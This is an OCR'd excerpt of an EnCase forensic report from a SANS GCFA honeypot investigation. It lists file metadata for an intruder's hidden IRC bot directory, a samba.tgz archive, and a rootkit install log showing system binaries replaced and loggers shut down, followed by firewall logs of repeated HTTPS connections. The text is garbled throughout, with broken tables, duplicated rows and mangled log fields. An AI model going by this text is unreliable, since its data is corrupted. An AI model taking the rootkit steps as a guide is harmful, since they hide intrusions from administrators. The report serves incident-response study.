<td></td>
<td></td>
<td>Last Accessed: 06/29/03 03:32:50PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Last Written: 10/09/00 06:22:02PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
</tr>
<tr>
<td>------------</td>
<td>-------------</td>
<td>----------------------------------------------------------------------------</td>
<td>---------------------</td>
<td>------------------</td>
<td>------------------</td>
<td>-----------------------</td>
<td>---------------</td>
<td>--------------</td>
</tr>
<tr>
<td>commands.c</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix.X11-pipe\src\commands.c</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>02/27/01 07:15:16AM</td>
<td>a1b52263b8a66d7c90fc549ef70230c4</td>
<td>41,984</td>
<td>41,966</td>
</tr>
<tr>
<td>dcc.c</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix.X11-pipe\src\dcc.c</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td>e079886945868cdbd4a5e4952b4cbbb0</td>
<td>10,240</td>
<td>9,929</td>
</tr>
<tr>
<td>global.h</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix.X11-pipe\src\global.h</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>02/26/01 06:12:04PM</td>
<td>c0f09ce5d8d0a233cf59a39a8fa089be</td>
<td>12,288</td>
<td>12,044</td>
</tr>
<tr>
<td>structs.h</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix.X11-pipe\src\structs.h</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>02/26/01 04:27:42PM</td>
<td>7f4edf55bb5062c91208937b4c3738c</td>
<td>9,216</td>
<td>8,264</td>
</tr>
<tr>
<td>config.h</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix.X11-pipe\src\config.h</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
### EnCase Computer Analysis Report

**Sans GCFA Cert Assignment**

<table>
<thead>
<tr>
<th>Entry</th>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>271</td>
<td>combot.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix\X11-pipe\src\combot.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 01:50:54PM</td>
<td>3ac8152d92ce3822bd6eafe4a777da13</td>
<td>9,216</td>
<td>8,249</td>
</tr>
<tr>
<td>272</td>
<td>dcc.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix\X11-pipe\src\dcc.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:24PM</td>
<td>1568e3352c2d6b24cfd7a68ba1923f0</td>
<td>68,608</td>
<td>67,624</td>
</tr>
<tr>
<td>273</td>
<td>function.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix\X11-pipe\src\function.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:28PM</td>
<td>5b71f957cb4413bd2a436f56deba6d0f</td>
<td>56,320</td>
<td>55,580</td>
</tr>
<tr>
<td>274</td>
<td>main.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix\X11-pipe\src\main.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:32PM</td>
<td>4af75da2abc5aa655f66515d29fd095b</td>
<td>81,920</td>
<td>81,328</td>
</tr>
<tr>
<td>275</td>
<td>xmech.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix\X11-pipe\src\xmech.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:32PM</td>
<td>4af75da2abc5aa655f66515d29fd095b</td>
<td>81,920</td>
<td>81,328</td>
</tr>
<tr>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
<td></td>
</tr>
<tr>
<td>-----------------</td>
<td>-------------</td>
<td>---------------------------------------------------------------------------</td>
<td>------------------</td>
<td>-------------------</td>
<td>------------------</td>
<td>----------------------------</td>
<td>----------------</td>
<td>--------------</td>
<td></td>
</tr>
<tr>
<td>randinsult.e</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix.X11-pipe\randfiles\randinsult.e</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td>a1b350ce4e06b376627b4e9c36ebc9f7</td>
<td>4,096</td>
<td>3,982</td>
<td></td>
</tr>
<tr>
<td>randversions.e</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix.X11-pipe\randfiles\randversions.e</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td>0b252e189020453aad18b93913e44ec3</td>
<td>2,048</td>
<td>1,465</td>
<td></td>
</tr>
<tr>
<td>com-ons.c</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix.X11-pipe\src\com-ons.c</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>02/27/01 07:14:04AM</td>
<td>daf8812cc62b784f6d6a10ef388288d7</td>
<td>28,672</td>
<td>28,470</td>
<td></td>
</tr>
<tr>
<td>defines.h</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix.X11-pipe\src\defines.h</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
### EnCase Computer Analysis Report

**Sans GCFA Cert Assignment**

<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td>854b211a185d795497cc0a21c7778249</td>
<td>5,120</td>
<td>4,508</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>281) h.h</td>
<td>File</td>
<td>/Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/\font-unix/\X11-pipe/src/h.h</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>02/26/01 06:00:24PM</td>
<td>8e0b21b02c62373ed8bca9974ee10776</td>
<td>16,384</td>
<td>15,681</td>
</tr>
<tr>
<td>282) main.c</td>
<td>File</td>
<td>/Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/\font-unix/\X11-pipe/src/main.c</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>02/26/01 06:13:24PM</td>
<td>0b82e8deab893ff5bca121cf6b864</td>
<td>21,504</td>
<td>21,078</td>
</tr>
<tr>
<td>283) parse.c</td>
<td>File</td>
<td>/Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/\font-unix/\X11-pipe/src/parse.c</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/22/00 10:47:20AM</td>
<td>2fe83f9857e025c575945926d17a35b</td>
<td>22,528</td>
<td>22,527</td>
</tr>
<tr>
<td>284) vars.c</td>
<td>File</td>
<td>/Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/\font-unix/\X11-pipe/src/vars.c</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td>57bdcda8d9126a49472d85485bae729</td>
<td>10,240</td>
<td>10,190</td>
</tr>
<tr>
<td>285) vars.c</td>
<td>File</td>
<td>/Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/\font-unix/\X11-pipe/src/vars.c</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>57bdcda8d9126a49472d85485bae729</td>
<td>10,240</td>
<td>10,190</td>
</tr>
<tr>
<td>Entry</td>
<td>Type</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
</tr>
<tr>
<td>-------</td>
<td>------</td>
<td>-----------</td>
<td>----------------</td>
<td>---------------</td>
<td>--------------</td>
<td>------------</td>
<td>---------------</td>
<td>--------------</td>
</tr>
<tr>
<td>286)</td>
<td>Name</td>
<td>cfgfile.o</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>71,680</td>
<td>92,160</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>91,392</td>
<td>91,656</td>
</tr>
<tr>
<td>287)</td>
<td>Name</td>
<td>com-ons.o</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>71,680</td>
<td>92,160</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>56,320</td>
<td>55,316</td>
</tr>
<tr>
<td>288)</td>
<td>Name</td>
<td>socket.o</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>71,680</td>
<td>92,160</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>56,320</td>
<td>55,316</td>
</tr>
<tr>
<td>289)</td>
<td>Name</td>
<td>TODO</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>71,680</td>
<td>92,160</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>56,320</td>
<td>55,316</td>
</tr>
<tr>
<td>290)</td>
<td>Name</td>
<td>Makefile</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>71,680</td>
<td>92,160</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>56,320</td>
<td>55,316</td>
</tr>
</tbody>
</table>
**EnCase Computer Analysis Report**

Sans GCFA Cert Assignment:EnCase Computer Analysis Report

Page 309

Hash Value: e452f0b4dab0676f4a2cd6e1a3abe570  
Physical Size: 3,072  
Logical Size: 2,147

291) Name: samba.tgz  
Description: File  
Full Path: Sans GCFA Cert Assignment:Linux 7.3 Honey pot system:/tmp/.font-unix/samba.tgz  
Entry Modified: 06/29/03 03:41:42PM  
Last Accessed: 06/29/03 03:41:56PM  
Last Written: 04/29/03 06:48:30AM  
Hash Value: 4c41dbabb341cf57e56c0394d6efc3d3  
Physical Size: 13,312  
Logical Size: 13,183

**Log files**

Log file information

292)  
Name: cron.1  
Entry Modified: 06/29/03 04:02:05AM  
Last Accessed: 06/29/03 04:02:00AM  
Last Written: 06/29/03 04:02:04AM  
Hash Value: f8670b0876691e1f24dde35972127642  
Comment: last log entries in cron.1 - normal

Jun 29 04:01:01 rh1 CROND[10319]: (root) CMD (run-parts /etc/cron.hourly)  
Jun 29 04:02:00 rh1 CROND[10321]: (root) CMD (run-parts /etc/cron.daily)  
Jun 29 04:02:04 rh1 anacron[10485]: Updated timestamp for job `cron.daily' to 2003-06-29

293)  
Name: access_log  
Entry Modified: 06/29/03 03:36:49PM  
Last Accessed: 06/30/03 04:02:03AM  
Last Written: 06/29/03 03:36:49PM  
Hash Value: e32d45931d3dd58258ce7bb86978cd02  
Comment: httpd access log

XXX.XXX.XXX.108.64 - - [29/Jun/2003:15:06:18 -0600] "GET / HTTP/1.1" 400 409  

Install log from /tmp/.s directory

294)  
Name: install.log  
Entry Modified: 06/29/03 03:25:20PM  
Last Accessed: 06/29/03 03:25:20PM  
Last Written: 06/29/03 03:25:20PM
Hash Value 65025494af2c14aeb979024429159fb8

Comment: Install log from /tmp/.s/

Installing
chattr: No such file or directory while trying to stat /usr/local/sbin/sshd
Shutting down kernel logger:  [ OK ]
Shutting down system logger:   [ OK ]
touch: getting attributes of `ps`: No such file or directory
touch: getting attributes of `ls`: No such file or directory
|-ps
| PS --> failed
|--top
|TOP --> OK
|---pстree
|PSTREE --> failed
|----killall
|KILLALL --> OK
|-----ls-dir-vdir
|LS DIR VDIR --> failed
|------find
|FIND --> OK
|------du
|DU --> OK
|-------netstat
|NETSTAT --> OK
EnCase Computer Analysis Report

Var partition from Logserver

<table>
<thead>
<tr>
<th>Device</th>
<th>Evidence Number: Var partition from logserver</th>
</tr>
</thead>
<tbody>
<tr>
<td>File Path:</td>
<td>C:\Sans\evidence files\Var partition from logserver.E01</td>
</tr>
<tr>
<td>Actual Date:</td>
<td>10/14/03 09:07:37PM</td>
</tr>
<tr>
<td>Target Date:</td>
<td>10/14/03 09:07:37PM</td>
</tr>
<tr>
<td>Total Size:</td>
<td>1,073,709,056 bytes (1.024.0MB)</td>
</tr>
<tr>
<td>Total Sectors:</td>
<td>2,097,088</td>
</tr>
<tr>
<td>File Integrity:</td>
<td>Completely Verified, 0 Errors</td>
</tr>
<tr>
<td>EnCase Version:</td>
<td>4.15</td>
</tr>
<tr>
<td>System Version:</td>
<td>Windows XP</td>
</tr>
<tr>
<td>Acquisition Hash:</td>
<td>CB51CFD7889DE261C0B94456C9D68819</td>
</tr>
<tr>
<td>Verify Hash:</td>
<td>CB51CFD7889DE261C0B94456C9D68819</td>
</tr>
<tr>
<td>Logging events recovered from unallocated Clusters on /var partition of Logserver.</td>
<td></td>
</tr>
</tbody>
</table>

Logs before logging shutdown on Linux 7.3 system

<table>
<thead>
<tr>
<th>Name</th>
<th>Unallocated Clusters</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>295)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Comment: Firewall Log from log Server - before logging shutdown

Jun 29 15:04:50 192.168.1.1 id=firewall time="2003-06-29 15:04:50" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.XXX.XXX.108.64 srcport=34988 dst=XXX.XXX.XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:50 192.168.1.1 id=firewall time="2003-06-29 15:04:50" fw="GNAT-Box" pri=6 msg="FILTRER: 33 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:04:50 192.168.1.1 id=firewall time="2003-06-29 15:04:50" fw="GNAT-Box" pri=6 flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.XXX.XXX.108.64 srcport=34988 dst=XXX.XXX.XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:50 192.168.1.1 id=firewall time="2003-06-29 15:04:50" fw="GNAT-Box" pri=6 flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.XXX.XXX.108.64 srcport=34989 dst=XXX.XXX.XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:50 192.168.1.1 id=firewall time="2003-06-29 15:04:50" fw="GNAT-Box" pri=6 flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.XXX.XXX.108.64 srcport=34989 dst=XXX.XXX.XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:50 192.168.1.1 id=firewall time="2003-06-29 15:04:50" fw="GNAT-Box" pri=6 flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.XXX.XXX.108.64 srcport=34989 dst=XXX.XXX.XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:50 192.168.1.1 id=firewall time="2003-06-29 15:04:50" fw="GNAT-Box" pri=6 flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.XXX.XXX.108.64 srcport=34989 dst=XXX.XXX.XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:51 192.168.1.1 id=firewall time="2003-06-29 15:04:51" fw="GNAT-Box" pri=6 msg="FILTRER: 34 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:04:51 192.168.1.1 id=firewall time="2003-06-29 15:04:51" fw="GNAT-Box" pri=6 flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=34989 dst=XXX.XXX.XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:51 192.168.1.1 id=firewall time="2003-06-29 15:04:51" fw="GNAT-Box" pri=6 flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=34989 dst=XXX.XXX.XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:51 192.168.1.1 id=firewall time="2003-06-29 15:04:51" fw="GNAT-Box" pri=6 flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=34989 dst=XXX.XXX.XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:51 192.168.1.1 id=firewall time="2003-06-29 15:04:51" fw="GNAT-Box" pri=6 flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=34989 dst=XXX.XXX.XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:53 192.168.1.1 id=firewall time="2003-06-29 15:04:53" fw="GNAT-Box" pri=6 msg="FILT ER: 44 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
t=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:53 192.168.1.1 id=firewall time="2003-06-29 15:04:53" fw="GNAT-Box" pri=6 msg="FILT ER: 45 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
t=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:53 192.168.1.1 id=firewall time="2003-06-29 15:04:53" fw="GNAT-Box" pri=6 msg="FILT ER: 46 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
t=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:53 192.168.1.1 id=firewall time="2003-06-29 15:04:53" fw="GNAT-Box" pri=6 msg="FILT ER: 47 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
t=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:53 192.168.1.1 id=firewall time="2003-06-29 15:04:53" fw="GNAT-Box" pri=6 msg="FILT ER: 48 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
t=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report  Page 314

Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 flt_type= RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35008 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 msg="FILT ER: 53 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 msg="FILT ER: 54 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 msg="FILT ER: 55 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 msg="FILT ER: 56 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 msg="FILT ER: 57 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt
Jun 29 15:04:57 192.168.1.1 id=firewall time="2003-06-29 15:04:57" fw="GNAT-Box" pri=6 msg="FILT ER: 58 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt
Jun 29 15:04:57 192.168.1.1 id=firewall time="2003-06-29 15:04:57" fw="GNAT-Box" pri=6 msg="FILT ER: 59 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt
Jun 29 15:04:57 192.168.1.1 id=firewall time="2003-06-29 15:04:57" fw="GNAT-Box" pri=6 msg="FILT ER: 60 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt
Jun 29 15:04:57 192.168.1.1 id=firewall time="2003-06-29 15:04:57" fw="GNAT-Box" pri=6 msg="FILT ER: 61 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt

EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report  Page 314

Jun 29 15:04:57 192.168.1.1 id=firewall time="2003-06-29 15:04:57" fw="GNAT-Box" pri=6 msg="FILT ER: 61 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt

EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report  Page 314

Jun 29 15:04:58 192.168.1.1 id=firewall time="2003-06-29 15:04:58" fw="GNAT-Box" pri=6 msg="FILT ER: 62 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt

EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report  Page 314
<table>
<thead>
<tr>
<th>Time</th>
<th>Source IP</th>
<th>Destination IP</th>
<th>Protocol</th>
<th>Source Port</th>
<th>Destination Port</th>
<th>Action</th>
<th>Flags</th>
<th>Message</th>
</tr>
</thead>
<tbody>
<tr>
<td>Jun 29 15:06:04</td>
<td>192.168.1.1</td>
<td>XXX.XXX.108.64</td>
<td>TCP</td>
<td>35049</td>
<td>443</td>
<td>Pass</td>
<td>0x2</td>
<td>Received</td>
</tr>
<tr>
<td>Jun 29 15:06:05</td>
<td>192.168.1.1</td>
<td>XXX.XXX.108.64</td>
<td>TCP</td>
<td>35049</td>
<td>443</td>
<td>Pass</td>
<td>0x2</td>
<td>Received</td>
</tr>
<tr>
<td>Jun 29 15:06:05</td>
<td>192.168.1.1</td>
<td>XXX.XXX.108.64</td>
<td>TCP</td>
<td>35050</td>
<td>443</td>
<td>Pass</td>
<td>0x2</td>
<td>Accepted</td>
</tr>
<tr>
<td>Jun 29 15:06:05</td>
<td>192.168.1.1</td>
<td>XXX.XXX.108.64</td>
<td>TCP</td>
<td>35047</td>
<td>443</td>
<td>Pass</td>
<td>0x2</td>
<td>Accepted</td>
</tr>
<tr>
<td>Jun 29 15:06:05</td>
<td>192.168.1.1</td>
<td>XXX.XXX.108.64</td>
<td>TCP</td>
<td>35046</td>
<td>443</td>
<td>Pass</td>
<td>0x2</td>
<td>Accepted</td>
</tr>
<tr>
<td>Jun 29 15:06:05</td>
<td>192.168.1.1</td>
<td>XXX.XXX.108.64</td>
<td>TCP</td>
<td>35045</td>
<td>443</td>
<td>Pass</td>
<td>0x2</td>
<td>Accepted</td>
</tr>
<tr>
<td>Jun 29 15:06:05</td>
<td>192.168.1.1</td>
<td>XXX.XXX.108.64</td>
<td>TCP</td>
<td>35044</td>
<td>443</td>
<td>Pass</td>
<td>0x2</td>
<td>Accepted</td>
</tr>
<tr>
<td>Jun 29 15:06:05</td>
<td>192.168.1.1</td>
<td>XXX.XXX.108.64</td>
<td>TCP</td>
<td>35043</td>
<td>443</td>
<td>Pass</td>
<td>0x2</td>
<td>Accepted</td>
</tr>
<tr>
<td>Jun 29 15:06:05</td>
<td>192.168.1.1</td>
<td>XXX.XXX.108.64</td>
<td>TCP</td>
<td>35042</td>
<td>443</td>
<td>Pass</td>
<td>0x2</td>
<td>Accepted</td>
</tr>
</tbody>
</table>

ER: 87 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to 1x type=magt
RAF flt_action=block msg="Received (24)" rule=24 proto=3389/tcp srcport=4918 dst=XXX.XXX.5.32 dstport=3389 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:10:16 192.168.1.1 id=firewall time="2003-06-29 15:10:16" fw="GNAT-Box" pri=6 msg="FILT ER: 60 matches for 24: Deny warning ANY ALL from ANY_IP to ANY_IP type=msgmnt
Jun 29 15:10:16 192.168.1.1 id=firewall time="2003-06-29 15:10:16" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=block msg="Block RAF (24)" rule=24 proto=3389/tcp srcport=80.101.56.srccrp=4918 dst=XXX.XXX.5.32 dstport=3389 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:10:16 192.168.1.1 id=firewall time="2003-06-29 15:10:16" fw="GNAT-Box" pri=6 msg="FILT ER: 61 matches for 24: Deny warning ANY ALL from ANY_IP to ANY_IP type=msgmnt
Jun 29 15:10:16 192.168.1.1 id=firewall time="2003-06-29 15:10:16" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=block msg="Block RAF (24)" rule=24 proto=3389/tcp srcport=80.101.56.srccrp=4918 dst=XXX.XXX.5.32 dstport=3389 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:10:16 192.168.1.1 id=firewall time="2003-06-29 15:10:16" fw="GNAT-Box" pri=6 msg="FILT ER: 62 matches for 24: Deny warning ANY ALL from ANY_IP to ANY_IP type=msgmnt
Jun 29 15:10:16 192.168.1.1 id=firewall time="2003-06-29 15:10:16" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=block msg="Block RAF (24)" rule=24 proto=3389/tcp srcport=80.101.56.srccrp=4918 dst=XXX.XXX.5.32 dstport=3389 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:10:16 192.168.1.1 id=firewall time="2003-06-29 15:10:16" fw="GNAT-Box" pri=6 msg="FILT ER: 105 matches for 3: Accept RAF (24)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35058 dst=XXX.XXX.5.32 dstport=3410 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:10:16 192.168.1.1 id=firewall time="2003-06-29 15:10:16" fw="GNAT-Box" pri=6 msg="FILT ER: 106 matches for 3: Accept RAF (24)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35059 dst=XXX.XXX.5.32 dstport=3410 interface=sis1 attribute="alarm" flags=0x2

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.

EnCase Computer Analysis Report
Sans GCFA Cert Assignment/EnCase Computer Analysis Report Page 320
RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35059 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35060 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=6 msg="FILT ER: 107 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35061 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
